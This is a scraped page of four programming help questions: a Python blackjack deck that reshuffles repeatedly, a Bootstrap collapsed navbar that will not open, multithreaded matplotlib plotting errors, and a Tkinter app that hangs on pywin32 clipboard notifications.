<mod_wsgi.Input object at 0x999cc78>, 'wsgi.multiprocess': True, 'wsgi.multithread': False, 'wsgi.run_once': False, 'wsgi.url_scheme': 'http', 'wsgi.version': (1, 0)}>

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  • Blackjack game reshuffling problem

    - by Jam
    I am trying to make a blackjack game where before each new round, the program checks to make sure that the deck has 7 cards per player. And if it doesn't, the deck clears, repopulates, and reshuffles. I have most of the problem down, but for some reason at the start of every deal it reshuffles the deck more than once, and I can't figure out why. Help, please. Here's what I have so far: (P.S. the imported cards and games modules aren't part of the problem, I'm fairly sure my problem lies in the deal() function of my BJ_Deck class.) import cards, games class BJ_Card(cards.Card): """ A Blackjack Card. """ ACE_VALUE = 1 def get_value(self): if self.is_face_up: value = BJ_Card.RANKS.index(self.rank) + 1 if value > 10: value = 10 else: value = None return value value = property(get_value) class BJ_Deck(cards.Deck): """ A Blackjack Deck. """ def populate(self): for suit in BJ_Card.SUITS: for rank in BJ_Card.RANKS: self.cards.append(BJ_Card(rank, suit)) def deal(self, hands, per_hand=1): for rounds in range(per_hand): for hand in hands: if len(self.cards)>=7*(len(hands)): top_card=self.cards[0] self.give(top_card, hand) else: print "Reshuffling the deck." self.cards=[] self.populate() self.shuffle() top_card=self.cards[0] self.give(top_card, hand) class BJ_Hand(cards.Hand): """ A Blackjack Hand. """ def init(self, name): super(BJ_Hand, self).init() self.name = name def __str__(self): rep = self.name + ":\t" + super(BJ_Hand, self).__str__() if self.total: rep += "(" + str(self.total) + ")" return rep def get_total(self): # if a card in the hand has value of None, then total is None for card in self.cards: if not card.value: return None # add up card values, treat each Ace as 1 total = 0 for card in self.cards: total += card.value # determine if hand contains an Ace contains_ace = False for card in self.cards: if card.value == BJ_Card.ACE_VALUE: contains_ace = True # if hand contains Ace and total is low enough, treat Ace as 11 if contains_ace and total <= 11: # add only 10 since we've already added 1 for the Ace total += 10 return total total = property(get_total) def is_busted(self): return self.total > 21 class BJ_Player(BJ_Hand): """ A Blackjack Player. """ def is_hitting(self): response = games.ask_yes_no("\n" + self.name + ", do you want a hit? (Y/N): ") return response == "y" def bust(self): print self.name, "busts." self.lose() def lose(self): print self.name, "loses." def win(self): print self.name, "wins." def push(self): print self.name, "pushes." class BJ_Dealer(BJ_Hand): """ A Blackjack Dealer. """ def is_hitting(self): return self.total < 17 def bust(self): print self.name, "busts." def flip_first_card(self): first_card = self.cards[0] first_card.flip() class BJ_Game(object): """ A Blackjack Game. """ def init(self, names): self.players = [] for name in names: player = BJ_Player(name) self.players.append(player) self.dealer = BJ_Dealer("Dealer") self.deck = BJ_Deck() self.deck.populate() self.deck.shuffle() def get_still_playing(self): remaining = [] for player in self.players: if not player.is_busted(): remaining.append(player) return remaining # list of players still playing (not busted) this round still_playing = property(get_still_playing) def __additional_cards(self, player): while not player.is_busted() and player.is_hitting(): self.deck.deal([player]) print player if player.is_busted(): player.bust() def play(self): # deal initial 2 cards to everyone self.deck.deal(self.players + [self.dealer], per_hand = 2) self.dealer.flip_first_card() # hide dealer's first card for player in self.players: print player print self.dealer # deal additional cards to players for player in self.players: self.__additional_cards(player) self.dealer.flip_first_card() # reveal dealer's first if not self.still_playing: # since all players have busted, just show the dealer's hand print self.dealer else: # deal additional cards to dealer print self.dealer self.__additional_cards(self.dealer) if self.dealer.is_busted(): # everyone still playing wins for player in self.still_playing: player.win() else: # compare each player still playing to dealer for player in self.still_playing: if player.total > self.dealer.total: player.win() elif player.total < self.dealer.total: player.lose() else: player.push() # remove everyone's cards for player in self.players: player.clear() self.dealer.clear() def main(): print "\t\tWelcome to Blackjack!\n" names = [] number = games.ask_number("How many players? (1 - 7): ", low = 1, high = 8) for i in range(number): name = raw_input("Enter player name: ") names.append(name) print game = BJ_Game(names) again = None while again != "n": game.play() again = games.ask_yes_no("\nDo you want to play again?: ") main() raw_input("\n\nPress the enter key to exit.")

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  • twitter bootstrap collapsable nav menu

    - by clifgray
    I am using twitter bootstrap on my web app to do all of the styling and everything is great for the most part. The problem is that my nav bar, once collapsed, will not drop down when I click the dropdown icon. I have listed my HTML but I think the problem is with my javascript seeing as this fiddle with the exact same code: http://jsfiddle.net/YWUmb/30/ works just fine. <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <a class="brand" href="/">Exployre</a> <div class="nav-collapse"> <ul class="nav"> <li><a href="/">Home</a></li> <li><a href="/profile">Profile</a></li> <li><a href="/sponsors">Sponsors</a></li> <li><a href="/working">Exployrers</a></li> <li><a href="/about">About</a></li> <li><a href="/share">Share</a></li> <li> {% if user %} User: {{ user }}<br> <a href="{{ logout }}">Logout</a> {% else %} <a href="/login">Signin or Register</a> {% endif %} <li> <a href="/profile"> {% if visits %} {% if visits > 10 %} Prestige: {{ visits }} {% elif visits > 5 %} {% endif %} {% endif %} </a> </li> <li> <form action="/search" class="navbar-search"> <div> <input type="text" placeholder="Search" class="search-query" name="q" size="55"/> </div> </form> <script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script> </li> </ul> </div><!--/.nav-collapse --> </div> </div> </div> <script type="text/javascript" src="/static/js/bootstrap.js"></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> Is there anything wrong with my source code links or anything additional that I need to do to make it work?

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  • matplotlib and python multithread file processing

    - by Napseis
    I have a large number of files to process. I have written a script that get, sort and plot the datas I want. So far, so good. I have tested it and it gives the desired result. Then I wanted to do this using multithreading. I have looked into the doc and examples on the internet, and using one thread in my program works fine. But when I use more, at some point I get random matplotlib error, and I suspect some conflict there, even though I use a function with names for the plots, and iI can't see where the problem could be. Here is the whole script should you need more comment, i'll add them. Thank you. #!/usr/bin/python import matplotlib matplotlib.use('GTKAgg') import numpy as np from scipy.interpolate import griddata import matplotlib.pyplot as plt import matplotlib.colors as mcl from matplotlib import rc #for latex import time as tm import sys import threading import Queue #queue in 3.2 and Queue in 2.7 ! import pdb #the debugger rc('text', usetex=True)#for latex map=0 #initialize the map index. It will be use to index the array like this: array[map,[x,y]] time=np.zeros(1) #an array to store the time middle_h=np.zeros((0,3)) #x phi c #for the middle of the box current_file=open("single_void_cyl_periodic_phi_c_middle_h_out",'r') for line in current_file: if line.startswith('# === time'): map+=1 np.append(time,[float(line.strip('# === time '))]) elif line.startswith('#'): pass else: v=np.fromstring(line,dtype=float,sep=' ') middle_h=np.vstack( (middle_h,v[[1,3,4]]) ) current_file.close() middle_h=middle_h.reshape((map,-1,3)) #3d array: map, x, phi,c ##### def load_and_plot(): #will load a map file, and plot it along with the corresponding profile loaded before while not exit_flag: print("fecthing work ...") #try: if not tasks_queue.empty(): map_index=tasks_queue.get() print("----> working on map: %s" %map_index) x,y,zp=np.loadtxt("single_void_cyl_growth_periodic_post_map_"+str(map_index),unpack=True, usecols=[1, 2,3]) for i,el in enumerate(zp): if el<0.: zp[i]=0. xv=np.unique(x) yv=np.unique(y) X,Y= np.meshgrid(xv,yv) Z = griddata((x, y), zp, (X, Y),method='nearest') figure=plt.figure(num=map_index,figsize=(14, 8)) ax1=plt.subplot2grid((2,2),(0,0)) ax1.plot(middle_h[map_index,:,0],middle_h[map_index,:,1],'*b') ax1.grid(True) ax1.axis([-15, 15, 0, 1]) ax1.set_title('Profiles') ax1.set_ylabel(r'$\phi$') ax1.set_xlabel('x') ax2=plt.subplot2grid((2,2),(1,0)) ax2.plot(middle_h[map_index,:,0],middle_h[map_index,:,2],'*r') ax2.grid(True) ax2.axis([-15, 15, 0, 1]) ax2.set_ylabel('c') ax2.set_xlabel('x') ax3=plt.subplot2grid((2,2),(0,1),rowspan=2,aspect='equal') sub_contour=ax3.contourf(X,Y,Z,np.linspace(0,1,11),vmin=0.) figure.colorbar(sub_contour,ax=ax3) figure.savefig('single_void_cyl_'+str(map_index)+'.png') plt.close(map_index) tasks_queue.task_done() else: print("nothing left to do, other threads finishing,sleeping 2 seconds...") tm.sleep(2) # except: # print("failed this time: %s" %map_index+". Sleeping 2 seconds") # tm.sleep(2) ##### exit_flag=0 nb_threads=2 tasks_queue=Queue.Queue() threads_list=[] jobs=list(range(map)) #each job is composed of a map print("inserting jobs in the queue...") for job in jobs: tasks_queue.put(job) print("done") #launch the threads for i in range(nb_threads): working_bee=threading.Thread(target=load_and_plot) working_bee.daemon=True print("starting thread "+str(i)+' ...') threads_list.append(working_bee) working_bee.start() #wait for all tasks to be treated tasks_queue.join() #flip the flag, so the threads know it's time to stop exit_flag=1 for t in threads_list: print("waiting for threads %s to stop..."%t) t.join() print("all threads stopped")

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  • Why does this valid Tkinter code crash when mixed with a bit of PyWin32?

    - by Erlog
    So I'm making a very small program for personal use in tkinter, and I've run into a really strange wall. I'm mixing tkinter with the pywin32 bindings because I really hate everything to do with the syntax and naming conventions of pywin32, and it feels like tkinter gets more done with far less code. The strangeness is happening in the transition between the pywin32 clipboard watching and my program's reaction to it in tkinter. My window and all its controls are being handled in tkinter. The pywin32 bindings are doing clipboard watching and clipboard access when the clipboard changes. From what I've gathered about the way the clipboard watching pieces of pywin32 work, you can make it work with anything you want as long as you provide pywin32 with the hwnd value of your window. I'm doing that part, and it works when the program first starts. It just doesn't seem to work when the clipboard changes. When the program launches, it grabs the clipboard and puts it into the search box and edit box just fine. When the clipboard is modified, the event I want to fire off is firing off...except that event that totally worked before when the program launched is now causing a weird hang instead of doing what it's supposed to do. I can print the clipboard contents to stdout all I want if the clipboard changes, but not put that same data into a tkinter widget. It only hangs like that if it starts to interact with any of my tkinter widgets after being fired off by a clipboard change notification. It feels like there's some pywin32 etiquette I've missed in adapting the clipboard-watching sample code I was using over to my tkinter-using program. Tkinter apparently doesn't like to produce stack traces or error messages, and I can't really even begin to know what to look for trying to debug it with pdb. Here's the code: #coding: utf-8 #Clipboard watching cribbed from ## {{{ http://code.activestate.com/recipes/355593/ (r1) import pdb from Tkinter import * import win32clipboard import win32api import win32gui import win32con import win32clipboard def force_unicode(object, encoding="utf-8"): if isinstance(object, basestring) and not isinstance(object, unicode): object = unicode(object, encoding) return object class Application(Frame): def __init__(self, master=None): self.master = master Frame.__init__(self, master) self.pack() self.createWidgets() self.hwnd = self.winfo_id() self.nextWnd = None self.first = True self.oldWndProc = win32gui.SetWindowLong(self.hwnd, win32con.GWL_WNDPROC, self.MyWndProc) try: self.nextWnd = win32clipboard.SetClipboardViewer(self.hwnd) except win32api.error: if win32api.GetLastError () == 0: # information that there is no other window in chain pass else: raise self.update_search_box() self.word_search() def word_search(self): #pdb.set_trace() term = self.searchbox.get() self.resultsbox.insert(END, term) def update_search_box(self): clipboardtext = "" if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT): win32clipboard.OpenClipboard() clipboardtext = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() if clipboardtext != "": self.searchbox.delete(0,END) clipboardtext = force_unicode(clipboardtext) self.searchbox.insert(0, clipboardtext) def createWidgets(self): self.button = Button(self) self.button["text"] = "Search" self.button["command"] = self.word_search self.searchbox = Entry(self) self.resultsbox = Text(self) #Pack everything down here for "easy" layout changes later self.searchbox.pack() self.button.pack() self.resultsbox.pack() def MyWndProc (self, hWnd, msg, wParam, lParam): if msg == win32con.WM_CHANGECBCHAIN: self.OnChangeCBChain(msg, wParam, lParam) elif msg == win32con.WM_DRAWCLIPBOARD: self.OnDrawClipboard(msg, wParam, lParam) # Restore the old WndProc. Notice the use of win32api # instead of win32gui here. This is to avoid an error due to # not passing a callable object. if msg == win32con.WM_DESTROY: if self.nextWnd: win32clipboard.ChangeClipboardChain (self.hwnd, self.nextWnd) else: win32clipboard.ChangeClipboardChain (self.hwnd, 0) win32api.SetWindowLong(self.hwnd, win32con.GWL_WNDPROC, self.oldWndProc) # Pass all messages (in this case, yours may be different) on # to the original WndProc return win32gui.CallWindowProc(self.oldWndProc, hWnd, msg, wParam, lParam) def OnChangeCBChain (self, msg, wParam, lParam): if self.nextWnd == wParam: # repair the chain self.nextWnd = lParam if self.nextWnd: # pass the message to the next window in chain win32api.SendMessage (self.nextWnd, msg, wParam, lParam) def OnDrawClipboard (self, msg, wParam, lParam): if self.first: self.first = False else: #print "changed" self.word_search() #self.word_search() if self.nextWnd: # pass the message to the next window in chain win32api.SendMessage(self.nextWnd, msg, wParam, lParam) if __name__ == "__main__": root = Tk() app = Application(master=root) app.mainloop() root.destroy()

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